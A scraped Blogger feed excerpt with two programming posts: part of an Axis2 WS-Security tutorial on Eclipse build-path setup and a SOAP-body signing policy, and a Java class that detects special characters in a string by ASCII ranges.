C:\axis2-1.4-bin\axis2-1.4\lib directory needs to add to the Eclipse Project build path.</span></li><li><span style="color: black;">Refresh the project in Eclipse and compile it this time you won’t get any compilation errors because we already set the required jars to the class path.</span></li></ul><span style="color: #993399; font-size: 130%;"><span style="font-weight: bold;">Writing Client Policy File</span></span><br />As you can see, the above security policy contains two main security assertions: an asymmetric binding assertion and a signed parts assertion. Asymmetric binding defines what keys to be used and a few additional properties such as which algorithms to be used in cryptographic operations, layout of the security header, etc. Signed parts assertion defines what parts of the message should be signed. In this tutorial we will be signing the SOAP body of the message.</div></div></div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com0tag:blogger.com,1999:blog-2813553060072852425.post-80319957060964491562012-07-08T02:48:00.001+05:302012-07-08T02:49:04.290+05:30Identifying Special Characters in a Given String<div dir="ltr" style="text-align: left;" trbidi="on">package special;<br /><br />public class IdentifySpecialChar {<br /><br /> <br /> public static void main(String[] args) {<br /><br /> try {<br /> System.out.println(IdentifySpecialChar<br /> .identifyingSpecialCharacters("Anil@"));<br /> } catch (Exception e) {<br /> // TODO Auto-generated catch block<br /> e.printStackTrace();<br /> }<br /> }<br /><br /><br /> public static boolean identifyingSpecialCharacters(String value)<br /> throws Exception {<br /> boolean returnVal = false;<br /> char[] charArray = value.toCharArray();<br /> for (int i = 0; i < charArray.length; i++) {<br /> System.out.println((int) charArray[i]);<br /> if ((((int) charArray[i]) >= 32 && ((int) charArray[i]) <= 47)<br /> || (((int) charArray[i]) >= 58 && ((int) charArray[i]) <= 64)<br /> || (((int) charArray[i]) >= 91 && ((int) charArray[i]) <= 96)<br /> || (((int) charArray[i]) >= 123 && ((int) charArray[i]) <= 127)) {<br /> returnVal = true;<br /> break;<br /> }<br /> }<br /> return returnVal;<br /> }<br />}</div>Anonymoushttp://www.blogger.com/profile/14997129780696016515noreply@blogger.com0